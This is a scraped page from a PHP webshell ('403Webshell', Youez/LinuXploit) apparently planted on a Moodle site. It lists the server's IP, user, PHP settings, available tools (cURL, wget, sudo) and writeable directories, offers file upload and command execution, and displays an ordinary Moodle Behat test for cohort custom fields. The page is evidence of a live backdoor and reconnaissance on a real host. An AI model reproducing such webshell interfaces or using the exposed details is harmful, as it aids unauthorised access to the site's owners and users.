403Webshell
Server IP : 45.94.215.241  /  Your IP : 216.73.216.122
Web Server : Apache/2.4.66 (Ubuntu)
System : Linux srv2937474766 7.0.0-28-generic #28-Ubuntu SMP PREEMPT_DYNAMIC Sun Jun 21 01:01:36 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/nikoocalligraphy-moodle/cohort/tests/behat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/nikoocalligraphy-moodle/cohort/tests/behat/customfields.feature
@core @core_cohort @core_customfield @javascript
Feature: Add and use cohort custom fields
  In order to store an extra information about cohorts
  As an admin
  I need to create cohort customs fields and be able to populate them on cohort creation

  Background:
    Given the following "custom field categories" exist:
      | name              | component   | area   | itemid |
      | Category for test | core_cohort | cohort | 0      |

  Scenario: Create a new cohort custom field and use the field for a new cohort
    When I log in as "admin"
    And I navigate to "Users > Accounts > Cohort custom fields" in site administration
    And I click on "Add a new custom field" "link"
    And I click on "Short text" "link"
    And I set the following fields to these values:
      | Name       | Test field |
      | Short name | testfield  |
    And I click on "Save changes" "button" in the "Adding a new Short text" "dialogue"
    Then the following should exist in the "generaltable" table:
      | Custom field | Short name | Type       |
      | Test field   | testfield  | Short text |
    And I navigate to "Users > Accounts > Cohorts" in site administration
    And I follow "Add new cohort"
    Then I should see "Category for test"
    And I should see "Test field"
    And I set the following fields to these values:
      | Name        | My new cohort             |
      | Context     | System                    |
      | Cohort ID   | mynewcohort               |
      | Description | My new cohort description |
      | Test field  | Custom field text         |
    And I press "Save changes"
    Then the following should exist in the "generaltable" table:
      | Name          | Cohort ID   | Description               |
      | My new cohort | mynewcohort | My new cohort description |
    And I press "Edit" action in the "My new cohort" report row
    And the field "Test field" matches value "Custom field text"

Youez - 2016 - github.com/yon3zu
LinuXploit